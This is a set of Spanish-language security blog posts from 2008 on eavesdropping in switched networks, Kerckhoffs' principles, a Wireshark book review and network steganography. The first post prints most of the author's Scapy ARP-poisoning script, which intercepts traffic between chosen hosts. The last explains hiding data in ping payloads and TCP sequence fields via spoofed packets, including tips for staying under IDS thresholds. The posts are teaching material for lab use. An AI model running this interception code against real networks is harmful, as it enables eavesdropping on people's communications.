19 diciembre 2008

Escuchas en redes conmutadas


Como los mayores del lugar recordarán, las redes de antaño se basaban en infraestructuras montadas a base de repetidores, también denominados hubs. Estos se comportaban enviando por todos sus puertos los datos que se recibiese por cualquiera de ellos. Los repetidores eran aparatos muy sencillos y carecían de lógica programada alguna. Consistían simplemente en un puenteado físico entre todos los puertos para asegurar que la señal que se recibiese por un puerto se repitiese por el resto. Esta sencillez tenía un precio y era lo reducido del rendimiento de las redes basadas en estos dispositivos ya que se creaba un único dominio de colisión, es decir ningún equipo de la red podía transmitir si lo estaba haciendo otro en ese momento. Además, las escuchas en este tipo de redes eran realmente sencillas ya que era el interfaz de cada equipo el que descartaba el tráfico que no le atañía, por lo que para escuchar toda la información que se cruzase por la red sólo había que poner el interfaz en modo promíscuo.

Con el tiempo, las redes evolucionaron al siguiente nivel y pasaron a utilizar conmutadores (en inglés switches). Estos dispositivos se diferencian de los anteriores en que disponen de lógica interna que les permite sacar los datos sólo por el puerto por el que se conecta su destinatario. Esto tiene una ventaja fundamental y es que mejora el rendimiento de las redes al dividirlas en múltiples dominios de colisión (uno por puerto). Sin embargo, aún hay gente que cree equivocadamente que el uso de conmutadores también evita las escuchas. Nada más lejos de la verdad. Si bien las escuchas no son tan sencillas como pasaba en las redes basadas en repetidores, se pueden seguir efectuando a partir de una serie de técnicas asequibles para cualquiera bien informado. A lo largo de este artículo repasaremos estas técnicas.

Para empezar es necesario que el lector entienda cómo funcionan los conmutadores. Todo dispositivo de red cuenta con una dirección IP que le identifica a lo largo y ancho de Internet y que permite que otros dispositivos se comuniquen con él. Sin embargo, esto permite que el paquete viaje hasta "el último salto" donde lo que se utiliza es el protocolo ARP (Address Resolution Protocol) para llegar al equipo destino.

Imaginemos dos dispositivos (A y B) que se encuentran en la misma red y que tienen direcciones del mismo rango de direccionamiento, ¿cómo se comunicarían entre sí?. Ambos conocen la dirección IP del otro, pero al estar ambos en el mismo rango de direccionamiento ya no hay enrutamiento que valga, por lo que tiene que entrar en juego la capa 2. Es decir, los interfaces de red de ambos dispositivos deben hablar entre sí. Para ello, todos los interfaces de red cuentan con una dirección en principio inalterable y única, que les viene asignada de fábrica y que se denomina MAC. Esto es la teoría, en la práctica el sistema operativo suele dar la opción de "forzar" una dirección MAC a nuestra elección, aunque es realmente raro que se haga uso de esta posibilidad. Los interfaces de red se comunican con otros interfaces de red de su mismo rango utilizando las direcciones MAC. Cuando A se quiere comunicar con B sólo cuenta con la dirección IP de por lo que debe hacer uso de un protocolo llamado ARP, del que se hablará más adelante, para averiguar cual es la dirección MAC de B. Una vez que A tiene la MAC de B manda un paquete de datos cuyo destinatario es precisamente la MAC de B. El conmutador que da servicio a A y a B envía el paquete sólo por el puerto al que se conecta B porque mantiene una tabla interna con las MAC que "cuelgan" de cada puerto. El interfaz de red de B, al recibir un paquete cuyo destinatario es su propia MAC, asume que el paquete le corresponde y lo escala a las capas superiores del equipo.

En principio el esquema parece seguro ya que los paquetes sólo llegan a sus legítimos destinatarios. El problema es que su implementación práctica suele abrir dos vías de ataque.

La primera vía de ataque hace referencia a la mencionada tabla interna que guardan los conmutadores. Los elementos de esta tabla son las MACs alcanzables por cada uno de los puertos. Para poblar esta tabla, el conmutador espera a que le vayan llegando paquetes. Cuando esto ocurre, el conmutador toma nota en su tabla del puerto por el que se ha recibido el paquete y la MAC del remitente del paquete. Una vez hecho esto, el conmutador mira cual es la MAC destinataria del paquete, consulta su tabla a ver si ya tiene registrada la localización de esa MAC y cuando la encuentra manda el paquete por el puerto apropiado. ¿Qué pasa si la MAC destino del paquete no consta en la tabla del conmutador? pues que este pasa a comportarse como un repetidor y reenvía ese paquete concreto por todos sus puertos. En realidad, este comportamiento sólo se da en los primeros minutos de funcionamiento del conmutador ya que si la red es medianamente activa en poco tiempo habrán emitido paquetes todos los elementos de la red (ya sea por inicios de conexión o por respuesta a paquetes) permitiendo que el conmutador los vaya "fichando" en su tabla.

A un atacante, lo que le gustaría es que el conmutador funcionase en modo repetidor cuando quisiera realizar una escucha. Para ello lo que tendrá que hacer es asegurarse de que el conmutador nunca encuentra las MACs de destino en su tabla. Esto nos lleva al primer tipo de ataque: el de inundación de la tabla del conmutador (mac flooding). En este ataque el intruso emitiría masivamente paquetes con MACs de origen ficticias. El destino y la naturaleza de estos paquetes no sería importante, aquí lo importante es que el conmutador fuese llenando su tabla con MACs inexistentes hasta agotar todo la memoria disponible, cuando eso ocurriese comenzaría a funcionar como repetidor al ser incapaz de encontrar las MACs de destino efectivas en su tabla atiborrada de basura. Este ataque era factible con los primeros conmutadores que salieron al mercado, ya que eran dispositivos poco potentes y apenas depurados. Sin embargo, en la actualidad los conmutadores cuentan con potencia suficiente como para evitar que un sólo PC les llene la tabla de MACs. Se trata por tanto de una carrera que el atacante difícilmente puede ganar. Además, este ataque es bastante indiscreto ya que degrada el rendimiento de la red de una manera tan llamativa que antes o después el administrador acabará accediendo al conmutador a ver qué le ocurre, se percatará del estado de la tabla de MACs y se imaginará que se está produciendo un ataque.

La segunda vía de ataque tiene que ver con la manera con la que los dispositivos de red averiguan la MAC del equipo con el que quieren hablar. Si un equipo con dirección IP A quiere hablar con otro de su mismo rango con dirección IP B usará el protocolo ARP para obtener la MAC de B. Básicamente lo que A hará es emitir un "ARP request" en el que preguntará a todos los equipos de su red: ¿cual es la MAC del equipo con dirección IP B?. El equipo B escuchará la pregunta y responderá con un "ARP reply": "yo soy el equipo con dirección IP B y mi MAC es esta". Una vez obtenida la MAC, A ya puede crear los paquetes de datos destinados a B. El equipo A guardará una tabla (la tabla de ARP) con las equivalencias ARP que vaya averiguando para no tener que preguntar por las MACs de las mismas direcciones IP una y otra vez. Hasta ahí todo bien, pero existe un tipo de paquete ARP denominado "update" que sirve para que B pueda tomar la iniciativa de actualizar su entrada en la tabla de ARP de A. ¿Para qué iba B a hacer esto?, ¿no hemos dicho que la MAC no suele cambiar?, es una buena pregunta que no tiene una respuesta fácil. Hay quien argumenta que este mecanismo se hizo para minimizar el impacto que supone para un equipo cambiar de dirección de IP en redes gestionadas por un servidor de DHCP, otros argumentan que no es sino otro de los agujeros de diseño de los protocolos que sustentan Internet, más pensados en la funcionalidad que en la seguridad. Lo cierto es que estas actualizaciones de la tabla de ARP suponen un vector de ataque gravísimo y muy difícil de detectar y da lugar a los llamados ataques de ARP Poisoning o envenenamiento ARP.

La idea del ARP Poisoning es la siguiente, supongamos que A y B están intercambiando paquetes en el transcurso de una conversación. La tabla de ARP de A contendrá el siguiente registro: IPb-MACb. A la inversa, la tabla de ARP de B contendrá el siguiente registro referente a A: IPa-MACa. Si un atacante C quisiera escuchar las comunicaciones entre A y B sólo tendría que enviarle a A el siguiente ARP update: IPb-MACc; y a B: IPa-MACc. De esta manera C engañaría a A haciendole creer que para llegar a B lo que debe hacer es destinar los paquetes... ¡a la MAC de C! (y viceversa para el caso de B). El efecto sería que C recibiría todos los paquetes que intercambiasen A y B, independientemente de que estos se interconecten mediante un conmutador. A partir de ahí, una vez escuchados los paquetes, C sólo tiene que reenviar los paquetes a su legítimos destinatarios para que estos no detecten el engaño. Este ataque funciona y es muy difícil de evitar. Como mucho se pueden forzar determinadas entradas de la tabla de ARP para que no cambien o que si lo hacen alerten al administrador. Es el caso de la aplicación ARPWatch, aplicación que vigila la tabla de ARP y alerta cuando una dirección IP pasa a ser usada por una MAC diferente, cosa que como hemos visto puede ser un síntoma de ARP Poisoning.

Herramientas como Ettercap o Cain&Abel incluyen este tipo de técnicas para realizar escuchas. En uno de mis artículos sobre creación de laboratorios virtuales se desarrolló una maqueta de una red conmutada para hacer pruebas de escuchas con ettercap. Esta maqueta se puede descargar desde aquí.

De todos modos, para los que prefieren el modo de vida samurai y construirse sus propias herramientas, se pueden programar estas técnicas de manera rápida y sencilla con Python y la librería Scapy (ambos elementos recurrentes en mis artículos). En la maqueta mencionada anteriormente (concretamente en la carpeta /root/scripts del PC-Sniffer) hay un script llamado ARPPoison, programado por mi para sistemas Linux, para ensayar la técnica del envenenamiento ARP.

La estructura de ARPPoison es muy sencilla:

## # PROGRAMA ## if (__name__ == "__main__"): parseArguments() checkEnvironment() gatherData() print "Comienza el ataque. Para pararlo pulse Control-C..." try: while (1): doARPPoisonAttack() time.sleep(WAITING_TIME) except KeyboardInterrupt: print "Ataque finalizado, borrando huellas de las caches..." repairARPCaches() print "Caches reparadas." print "Devolviendo a su sistema a la normalidad..." cleanThings() print "Hecho." print "�Que tenga un buen dia!" print "\n"
La función parseArguments se limita a tratar los parámetros introducidos por el usuario (las dos direcciones IP a las que hay que interceptar).

La siguiente función, checkEnvironment, se asegura de que nuestro sistema tiene activado el IP_Forwarding, esencial para devolver los paquetes interceptados a sus legítimos destinatarios después de realizar la escucha.

def checkEnvironment(): global forwarding global redirect input, output, error= os.popen3("sysctl net.ipv4.ip_forward" , 'r') line = output.readline() forwarding = int( line.split("=")[1].strip() ) if not forwarding: print "El sistema no esta configurado para reenviar paquetes." print "Habra que activar momentaneamente el reenvio." os.system("sudo sysctl net.ipv4.ip_forward=1") print "Activado el reenvio de paquetes." else: print "Bien, el reenvio de paquetes ya se encontraba activado."

En cuanto a gatherData, se encarga de averiguar cuales son las MACs de los dos extremos a interceptar. Necesitamos conocerlas para poder restaurar las tablas de ARP a su estado original cuando demos por finalizada la escucha.

#
# Esta funcion recopila los datos necesarios para realizar el envenenamiento ARP.
def gatherData():
    global mac_list_1
    global mac_list_2
    global my_MAC
    global my_IP
    #En general, obtener la direccion IP local no es un procedimiento portable entre
#sistemas operativos. Podriamos parsear la salida del comando ifconfig en linux
#y en windows la del comando ipconfig, pero es mucho mas sencillo aprovecharnos 
    #de que scapy usa la mac y la ip locales al crear un paquete ARP.
    arp_packet = scapy.ARP()
    my_MAC = arp_packet.hwsrc
    my_IP = arp_packet.psrc
    my_address = IPy.IP(my_IP)
    #Ahora recopilamos las MACs de los equipos comprendidos en los segmentos pedidos.
    print "Recopilando MACs involucradas para preparar la vuelta atras..."
    print "Extremo 1..."
    for ip in target_address_1:
        if (ip != my_address):
            mac_list_1[ip.strNormal()] = scapy.getmacbyip(ip.strNormal())
            print " " + ip.strNormal() + " ----> " + mac_list_1[ip.strNormal()] 
    print "Extremo 2..."
    for ip in target_address_2:
        if (ip != my_address):
            mac_list_2[ip.strNormal()] = scapy.getmacbyip(ip.strNormal())
            print " " + ip.strNormal() + " ----> " + mac_list_2[ip.strNormal()]

Una vez terminadas estas labores preliminares, se puede iniciar el ataque de envenenamiento. En el programa se encarga de ello la función doARPPoisonAttack, la cual se repite sucesivas veces en bucle para evitar que los registros fraudulentos de la tabla de ARP caduquen y se deshaga el desvio.


# # Esta funcion realiza el ataque de envenamiento ARP. def doARPPoisonAttack(): #La idea es mandar ARP-Replies a los host de la lista target_address_1 haciendoles #creer que los equipos de target_address_2 tienen la MAC de nuestro equipo y viceversa. # De esta manera haremos que el trafico entre unos y otros pase por nosotros. #Los codigos de operacion de los paquetes ARP son: #"who-has":1, "is-at":2, "RARP-req":3, "RARP-rep":4, "Dyn-RARP-req":5, "Dyn-RAR-rep":6, # "Dyn-RARP-err":7, "InARP-req":8,"InARP-rep":9 #Se puede encontrar una descripcion muy completa del formato de los paquetes ARP en: #http://www.comptechdoc.org/independent/networking/guide/netarp.html #Y por supuesto en su correspondiente RFC ;-) for ip in target_address_1: for ip2 in target_address_2: #Suplantamos a ip en cada ip2. arp_packet = scapy.ARP(op="is-at",hwsrc=my_MAC,psrc=ip.strNormal(), / hwdst=mac_list_2[ip2.strNormal()],pdst=ip2.strNormal()) #No es necesario, pero si quisieramos forzar el ethertype es necesario instalar #previamente un fichero /etc/ethertype valido. Hacer lo siguiente valdra: # wget http://pierre.droids-corp.org/scapy/ethertypes -O /etc/ethertypes #Se puede encontrar una lista mucho mas completa en: #http://www.iana.org/assignments/ethernet-numbers #aunque a esta ultima lista habria que darle formato para que la entendiese #scapy. ether_packet = scapy.Ether(dst=mac_list_2[ip2.strNormal()],src=my_MAC) packet_to_send = ether_packet / arp_packet
            # Hemos usado el sendp para realizar el envio a nivel 2.
scapy.sendp(packet_to_send, verbose=0) print "Suplantando a " + str(ip.strNormal()) + " en la cache ARP de " + / str(ip2.strNormal()) for ip2 in target_address_2: for ip in target_address_1: #Suplantamos a ip2 en cada ip. arp_packet = scapy.ARP(op="is-at",hwsrc=my_MAC,psrc=ip2.strNormal(), / hwdst=mac_list_1[ip.strNormal()],pdst=ip.strNormal()) ether_packet = scapy.Ether(dst=mac_list_1[ip.strNormal()],src=my_MAC) packet_to_send = ether_packet / arp_packet scapy.sendp(packet_to_send, verbose=0) print "Suplantando a " + str(ip2.strNormal()) + " en la cache ARP de " / + str(ip.strNormal())

En este punto es cuanto el atacante puede lanzar un sniffer en otra ventana (o con la orden screen si estamos en la maqueta de Netkit facilitada) y visualizar todo el tráfico intercambiado entre los extremos interceptados. Cuando de por terminada la sesión de escuchas pulsará Control-C para salir del bucle de envenenamiento y se dará paso a la función repairARPCaches que se encargará de enviar paquetes de ARP Update a los extremos atacados para dejar sus tablas de ARP en un estado correcto. Si no se efectuase esta corrección se produciría un corte de comunicaciones entre los dos extremos que podría alertarles del ataque.



# # Esta funcion revierte los cambios realizados reponiendo las MACs correctas # en las respectivas caches de ARP. def repairARPCaches(): for ip in target_address_1: for ip2 in target_address_2: #Reparamos a ip en cada ip2. arp_packet = scapy.ARP(op="is-at",hwsrc=mac_list_1[ip.strNormal()], / psrc=ip.strNormal(),hwdst=mac_list_2[ip2.strNormal()],pdst=ip2.strNormal()) ether_packet = scapy.Ether(dst=mac_list_2[ip2.strNormal()],src=my_MAC) packet_to_send = ether_packet / arp_packet
            #Hemos usado sendp para realizar el envio a nivel 2
scapy.sendp(packet_to_send, verbose=0) print "Reponiendo la MAC de " + str(ip.strNormal()) + /" en la cache ARP de " + str(ip2.strNormal()) for ip2 in target_address_2: for ip in target_address_1: #Reparamos a ip2 en cada ip. arp_packet = scapy.ARP(op="is-at",hwsrc=mac_list_2[ip2.strNormal()], / psrc=ip2.strNormal(),hwdst=mac_list_1[ip.strNormal()],pdst=ip.strNormal()) ether_packet = scapy.Ether(dst=mac_list_1[ip.strNormal()],src=my_MAC) packet_to_send = ether_packet / arp_packet scapy.sendp(packet_to_send, verbose=0) print "Reponiendo la MAC de " + str(ip2.strNormal()) + /" en la cache ARP de " + str(ip.strNormal())
Por último, está la función cleanThings, que se limita a desactivar el IP_Forwarding de nuestro equipo.
# # Esta funcion es un cajon de sastre para limpiar los cambios que hayamos hecho # en el sistema del usuario. def cleanThings(): print "Devolviendo a la variable de sistema ip_forward a su estado anterior (" / + str(forwarding) + ")..." os.system("sudo sysctl net.ipv4.ip_forward=" + str(forwarding))
Como se puede apreciar, realizar escuchas en un entorno conmutado no resulta nada complicado, existen herramientas para ello e incluso programar una no es nada difícil. Existen algunas maneras de detectar este tipo de ataques. En alguno de mis próximos artículos analizaré algunas de las trazas que pueden dejar este tipo de programas y cómo detectarlos.

Queda con ello demostrado que los conmutadores no aseguran la privacidad de nuestro tráfico, tal y como muchos creen erróneamente. La única manera de garantizar la privacidad de nuestros datos cuando estos viajen por la red es cifrarlos correctamente.

La Doctrina de Kerckhoffs

Auguste Kerckhoffs fue un filólogo de origen holandés que durante buena parte de la segunda mitad del siglo XIX se dedicó a la enseñanza del alemán en la Escuela Superior de Estudios Comerciales de París.

Sin embargo, lo que le hizo destacar hasta el punto de ser recordado hoy en día, son una serie de ensayos que publicó en la Revista de Ciencias Militares francesa. Estos ensayos versaban sobre criptografía militar y supusieron no sólo una revisión del estado del arte de esta disciplina sino también un soplo de aire fresco para las técnicas francesas en la materia. Hombre pragmático, Kerckhoffs expuso seis principios básicos para el correcto diseño de sistemas criptográficos:
  1. Si el sistema no es teóricamente irrompible, al menos debe serlo en la práctica.
  2. La efectividad del sistema no debe depender de que su diseño permanezca en secreto.
  3. La clave debe ser fácilmente memorizable de manera que no haya que recurrir a notas escritas.
  4. Los criptogramas deberán dar resultados alfanuméricos.
  5. El sistema debe ser operable por una única persona.
  6. El sistema debe ser fácil de utilizar.
Tras más de un siglo desde su publicación, los seis principios de Kerckhoffs siguen plenamente vigentes.

El primer principio es en el que se basan la mayor parte de los sistemas criptográficos modernos, los cuales dependen de espacios de claves lo suficientemente largos como para asegurar que es imposible reunir la potencia de calculo necesaria para localizar la clave correcta. Cuando la informática evoluciona hasta el punto de que empieza a ser posible "romper" las claves actuales, entonces todo el mundo incrementa la longitud de las claves para volver a hacer imposible su ruptura con los medios disponibles.

El tercer principio le sugerirá escenas cotidianas a cualquier ingeniero de seguridad. Cuantas veces nos habremos topado con políticas de seguridad equivocadas que obligaban a los usuarios a usar contraseñas espectacularmente complejas... con el único resultado de que el pobre usuario, para poder trabajar, no tenía más remedio que escribir la contraseña en un post-it pegado al ordenador.

Los principios cuarto, quinto y sexto no hacen sino reafirmar la necesidad de que los sistemas criptográficos reconozcan las limitaciones humanas si quieren ser realmente efectivos. Somos seres alfanuméricos, pensamos visualmente y cualquier cosa que nos saque de nuestras conocidas 3 dimensiones nos empieza a dar mareos. Un criptosistema que no respete estas limitaciones está condenado a fracasar, sencillamente porque los operadores destinados a usar dicho criptosistema tenderán a compensar la excesiva complejidad aplicando simplificaciones y "trucos" que no harán sino mermar la entropía del criptosistema y con ello su efectividad. El incorrecto cumplimiento del sexto principio por los alemanes durante la segunda guerra mundial llevó a que en muchas ocasiones los operadores de la célebre máquina Enigma colocasen determinados discos en posiciones predecibles lo que facilitaba notablemente la tarea de los criptoanalistas ingleses de Bletchley Park (recomendadísimos a este respecto los artículos de Román Ceano sobre la máquina Enigma).

El segundo principio es el más famoso y se le denomina Doctrina de Kerckhoffs o El Principio (en singular) de Kerckhoffs. Establece que la seguridad de un criptosistema debe depender en exclusiva de mantener en secreto la clave y no de ocultar el diseño del sistema. Durante años este principio fue olvidado o ignorado, de manera que se procuró dotar a los criptosistemas de la llamada seguridad por oscuridad ocultando su diseño e implementación a los usuarios. La Guerra Fría demostró que era demasiado costoso mantener en secreto el diseño de los criptosistemas por lo que no se podía depender de la oscuridad como base de la seguridad de estos sistemas. A partir de ahí, el diseño de los criptosistemas se hizo público, llegando a convocarse concursos abiertos para elegir los nuevos estándares de criptografía (como pasó por ejemplo con el AES). Este cambio ha sido muy beneficioso ya que ha permitido un mejor perfeccionamiento de los estándares al ampliar el número de cabezas pensantes que han podido analizarlos, criticarlos y mejorarlos. Con ello, se daba la razón a la Doctrina de Kerckhoffs más de 100 años después de su publicación.

Sin embargo, la Doctrina de Kerckhoffs trasciende desde campo de la criptografía alcanzando al conjunto de la Ingeniería de Seguridad: la seguridad de un sistema no puede depender de mantener en secreto su diseño. Sencillamente porque la imperfección natural del ser humano hace imposible que se pueda mantener indefinidamente dicho secreto y más en un mundo como el actual en el que la tendencia general es a hacer que la información fluya de manera natural. En este contexto, aquel ingeniero de seguridad que se empeñe en basar la fortaleza de su sistema en mantener la oscuridad sobre su diseño, se acabará encontrando tarde o temprano con que su diseño ha salido a la luz y no le queda más remedio que rehacerlo desde cero mientras los activos que protegía se ven completamente expuestos.

18 diciembre 2008

Practical Packet Analysis


"Practical Packet Analysis: Using Wireshark to Solve Real- World Network Problems" es, como su nombre advierte, un manual aplicado de Wireshark (antes conocido como Ethereal) que viene a exponer usos prácticos de este potente analizador de redes para detectar y solucionar problemas comunes en una red de datos moderna.

La verdad es que este libro no le enseñará nada nuevo a nadie con cinco o seis años de experiencia en configuración y administración de redes medias o grandes. Pero los que carezcan de tal experiencia encontrarán en este libro una interesante introducción a técnicas de troubleshooting mediante capturas de red tremendamente potentes y útiles para su quehacer diario. Todas estas técnicas se explican con un lenguaje cercano y práctico haciendo hincapie en los conceptos sobre el protocolo TCP/IP que todo administrador de red debería conocer (aunque desgraciadamente no siempre ocurre).

Para presentar la aplicación práctica de estas técnicas, el autor desarrolla los escenarios más variopintos: desde escenarios de lentitud de red, a ataques de gusanos de internet, pasando por problemas de enrutamiento, ataques de ARP Poisoning, y un largo etcetera. En todos estos escenarios, el autor expone cómo se podría utilizar la captura de paquetes de red y su posterior análisis mediante Wireshark para encontrar al causante del problema presentado.

Todo esto hace que este libro sea de fácil lectura y de inmediata aplicación ya que los ejemplos están perfectamente elegidos y son comunes en la problemática diaria de un departamento de comunicaciones. Es precisamente por eso que, posiblemente, este libro aporte poco a un administrador de red con cierta experiencia y que ya se habrá encontrado con estos problemas varias veces a lo largo de su carrera. A los otros, a los que están comenzando en el apasionante mundo de las Redes y la Seguridad este libro les será de tremenda ayuda.

25 octubre 2008

Esteganografía de red

La esteganografía es el arte de esconder información en cosas de uso habitual como fotos, sonidos, imágenes de vídeo, etc.

El hombre ha inventado multitud de técnicas esteganográficas a lo largo de la historia. El arte está repleto de mensajes ocultos en cuadros, esculturas y edificios (¿Aún queda alguien que no haya leído el Código Da Vinci?). El mundo del espionaje utiliza técnicas esteganográficas constantemente (desde la técnica del micropunto a los mensajes escritos en espejos que sólo se ven al exponerlos al vaho). Recientemente Internet ha abierto una ventana universal al conocimiento y al intercambio de opiniones e ideas. Precisamente por eso, muchos gobiernos dictatoriales intentan controlar los datos intercambiados entre sus redes nacionales e Internet para detectar rebeldes y pensadores discrepantes. En este tipo de casos la confidencialidad no basta, porque el mero hecho de cifrar algo ya resulta sospechoso para la policía política (“¿si no tiene nada que ocultar por qué lo cifra?”). Es necesario no sólo asegurar la confidencialidad de la información sino evitar en lo posible su detección, de ahí la renovada importancia de las técnicas esteganográficas.

Se han escrito muchos artículos acerca de la ocultación de datos en imágenes y fotografías. También resulta bastante conocida la posibilidad de guardar información en el ruido de fondo de una canción, de manera imperceptible al oído humano, o en el de una secuencia de vídeo. La que resulta menos conocida es la denominada esteganografía de red, la cual utiliza determinadas características de los protocolos de red para encapsular datos y transmitirlos camuflados por Internet.

La esteganografía de red se basa en tres métodos principales:
  • Encapsulación de un protocolo en otro.
  • Encapsulación de información en el campo de datos de un protocolo.
  • Encapsulación de información en un campo numérico de un protocolo.

El primer caso, encapsulación de un protocolo en otro, es relativamente conocido y muy utilizado hoy día para el ocultamiento de sistemas de descargas P2P. Un ejemplo es el encapsulado en el protocolo HTTP para eludir las restricciones de los cortafuegos perimetrales. Este último es el enfoque de herramientas como HTTP-Tunnel que, mediante la instalación de un servidor de SOCKS en el PC, permiten establecer un túnel cifrado con un servidor remoto, que hace de intermediario, a través del puerto de HTTP (abierto generalmente en el cortafuegos) simulando que es tráfico web. El servidor que hace de intermediario, situado en el exterior del cortafuegos, desencapsula luego el tráfico y lo remite a sus destinatarios originales.

El segundo caso se da cuando un protocolo de uso común en la red incluye un campo de datos que nosotros podemos llenar con nuestro mensaje. Alguien que vigilase la red advertiría el uso del protocolo pero a no ser que se pusiera a investigar el contenido de los campos de los paquetes intercambiados sería incapaz de detectar que se está transmitiendo información.

Un claro ejemplo de este tipo de técnicas es el protocolo ICMP. Este protocolo se utiliza para tareas de mantenimiento y control interno de redes. La herramienta más conocida que utiliza este protocolo es Ping. Como ya es sobradamente conocido, la herramienta ping permite averiguar si un determinado equipo está alcanzable a través de la red. Para ello se le lanza un Ping y si se recibe respuesta significa que hay conectividad con dicho equipo. Lo que ocurre entre bastidores es que el equipo que lanza el ping emite un paquete de tipo ICMP ECHO-REQUEST y el equipo destino, al recibir este paquete, genera otro de respuesta denominado ICMP ECHO-REPLY. Cuando el equipo que lanza los pings comienza a recibir paquetes ICMP ECHO-REPLY puede concluir que el equipo destino está “vivo”. Dado lo habitual de este protocolo en las redes modernas resulta un candidato interesante como cobertura a nuestro enlace de datos. Para ello se puede utilizar el campo de 56 bytes con el que cuentan los paquetes ICMP ECHO. El propósito original de este campo no está muy claro. En apariencia, los sistemas operativos actuales lo usan como una firma llenándolo con una secuencia de datos más o menos predefinida (p.ej. Windows mete siempre el abecedario “abcd...” mientras que Linux que he probado usan una secuencia más aleatoria pero acabada siempre por los caracteres “01234567”) con la idea de que si los paquetes de respuesta contienen la misma secuencia de datos entonces son correctos. Sin embargo, nadie dice cuál debe ser esa secuencia de datos por lo que nosotros podemos meter los que queramos y enviárselos al equipo destino en un Ping.

Vamos a ilustrar esto con un ejemplo usando Scapy. Supongamos que Alice quiere enviarle a Bob (10.0.0.105) el siguiente mensaje: “Creo que sospechan de ti.”. Podríamos encapsular este mensaje en un paquete ICMP de la siguiente manera desde la consola de Scapy:

Welcome to Scapy (v1.1.1 / -)
>>> ip = IP()
>>> ip.dst = "10.0.0.105"
>>> icmp = ICMP()
>>> mensaje = "Creo que sospechan de ti."
>>> icmp.add_payload(mensaje)
>>> packet = ip / icmp
>>> sr1(packet)
Begin emission:
.*Finished to send 1 packets.

 
Received 2 packets, got 1 answers, remaining 0 packets
<\IP  version=4L ihl=5L tos=0x0 len=53 id=53122 flags= frag=0L ttl=64 proto=icmp chksum=0x96d9 src=10.0.0.105 dst=10.0.0.4 options='' |<\ICMP  type=echo-reply code=0 chksum=0xd436 id=0x0 seq=0x0 |>>
>>> 



Bob podría visualizar este mensaje activando un tcpdump en su interfaz que capturase todos los paquetes icmp que le llegasen.

Si un administrador estuviese monitorizando la red sólo vería un ping, tráfico que no tiene por qué ser sospechoso ya que, a priori, no es un protocolo susceptible de transportar información (aunque vemos que en realidad sí puede). Además, un ping y su respuesta resultan imperceptibles dentro del maremagnum que es una red moderna. Si aún con todo el administrador ha sido tan minucioso como para detectar el intercambio de paquetes y capturarlos con un sniffer, esto sería lo que vería:


Como se puede apreciar, la captura del paquete ICMP sí que muestra claramente el contenido del mensaje en el campo Data. Para evitar la detección y además dotar de confidencialidad el mensaje lo normal es que en vez de encapsular el mensaje en claro en el campo Data, se cifre primero (por ejemplo con una clave simétrica conocida por ambos extremos) y luego se empaquete en el ping. De esta manera el administrador lo que vería sería un amasijo de bytes aparentemente aleatorios que no tienen por qué hacerle sospechar de que lo que está viendo realmente es un mensaje cifrado... a no ser que haya leído este artículo y por tanto sepa que si todo su parque de ordenadores es Windows los campos de datos de los pings deben contener, por fuerza, el abecedario “abcdefghi... “.

¿Qué pasaría con los mensajes con longitud superior a 56 bytes? Pues nada, los trocearíamos en lotes de 56 bytes y meteríamos cada uno en un ping. En vez de enviar un único ping mandaremos varios, lo cual sigue entrando dentro de lo normal cuando se utiliza legítimamente este protocolo. Dado que Scapy está pensado tanto para su uso interactivo por consola como para importarlo como librería en nuestros scripts de Python resulta sencillísimo automatizar todo este proceso en un programa que añada características añadidas como por ejemplo control de errores y corrección mediante reenvíos de paquetes (dado que no es raro que se pierda un ping incluso en redes locales). Sin embargo hay que tener en cuenta cuando integremos todo lo dicho en un programa que muchos dispositivos IDS/IPS controlan cuantos pings se pueden enviar entre dos puntos durante un intervalo de tiempo bloqueando los que excedan este umbral. Por eso, los programas que creemos para transmitir datos por ICMP deberán contar con un parámetro que permita configurar cuantos pings por segundo queremos enviar de manera que podamos asegurarnos de que nuestro envío nunca supere el umbral de los dispositivos IDS/IPS que pudieran encontrarse por el camino.

El tercer método de esteganografía de red, el uso de un campo numérico, no es sino una variante del anterior. La diferencia es que en vez de utilizar un campo específicamente destinado a datos se trata de utilizar uno dedicado a contener valores numéricos, como por ejemplo:
  • El campo de Identificación de la cabecera IP. Con 16 bits de longitud, se utiliza para darle un número identificativo a cada paquete de manera que sea posible reconstruirlo en caso de que se tenga que realizar fragmentación en alguno de los nodos intermedios del trayecto.
  • El campo de Número Inicial de Secuencia de la cabecera TCP. Sus 32 bits de longitud nos permitirían enviar cuatro caracteres ASCII por paquete. Se utiliza para establecer el número inicial a partir del cual se numerarán el resto de paquetes, de manera que se puedan detectar pérdidas o llegadas desordenadas de paquetes. Lo fija el que envía el paquete inicial.
  • El campo de Número de Secuencia Reconocido de la cabecera TCP. También de 32 bits, lo fija el extremo que responde al paquete inicial cogiendo el Número Inicial de Secuencia de ese paquete y sumándole uno. Este campo, como se verá después, se utiliza en para realizar transmisiones ocultas de datos de manera indirecta.
Los dos primeros campos se utilizarían igual que el de datos del ping que veíamos antes, sólo habría que tener en cuenta la menor longitud de los campos y que habría que codificar las cadenas a un valor numérico de la longitud necesaria en función de sus valores ASCII (y posteriormente decodificarlos en el extremo receptor). Stegtunnel utiliza precisamente estos dos campos.

El uso del campo de Número de Secuencia Reconocido de la cabecera TCP/IP es más interesante y es el que utilizan herramientas como Ncovert. Supongamos que Alice quiere enviarle un mensaje a Bob, pero ella sabe que hay un administrador de red muy paranóico que no le quita el ojo de encima a Bob y monitoriza todo el tráfico de su ordenador. Resulta que Alice no conoce oficialmente a Bob y sabe que cualquier acercamiento a él levantaría sospechas y lo mismo pasaría a nivel de red si se detectase tráfico desde el PC de Alice hacia el de Bob. Pero Alice ha leído estas líneas y sabe que puede ocultar su mensaje entre el tráfico “legal” de Bob. Para ello Alice eligiría un servidor al que acceda usualmente Bob, llamemoslo por ejemplo Mercurio, y lo utilizaría de intermediario para pasarle el mensaje.

La idea es la siguiente:
  1. Alice crearía sucesivos paquetes SYN (de establecimiento de conexión) con Mercurio poniendo en el campo de Número Inicial de Secuencia TCP (o en el de Identificación IP) los caracteres de su mensaje tal y como veíamos antes pero falsificaría el origen del paquete SYN poniendo que proviene de la dirección IP de Bob.
  2. Mercurio iría creando paquetes de SYN+ACK con destino a Bob (ya que él cree que es Bob el que le envía los paquetes SYN), utilizando en el campo de Número de Secuencia Reconocido el número fijado por Alice más 1.
  3. Bob sólo tendría que ir recopilando dichos paquetes SYN+ACK, extraer sus campos de Número de Secuencia Reconocido, restarle 1 y pasarlo a ASCII.


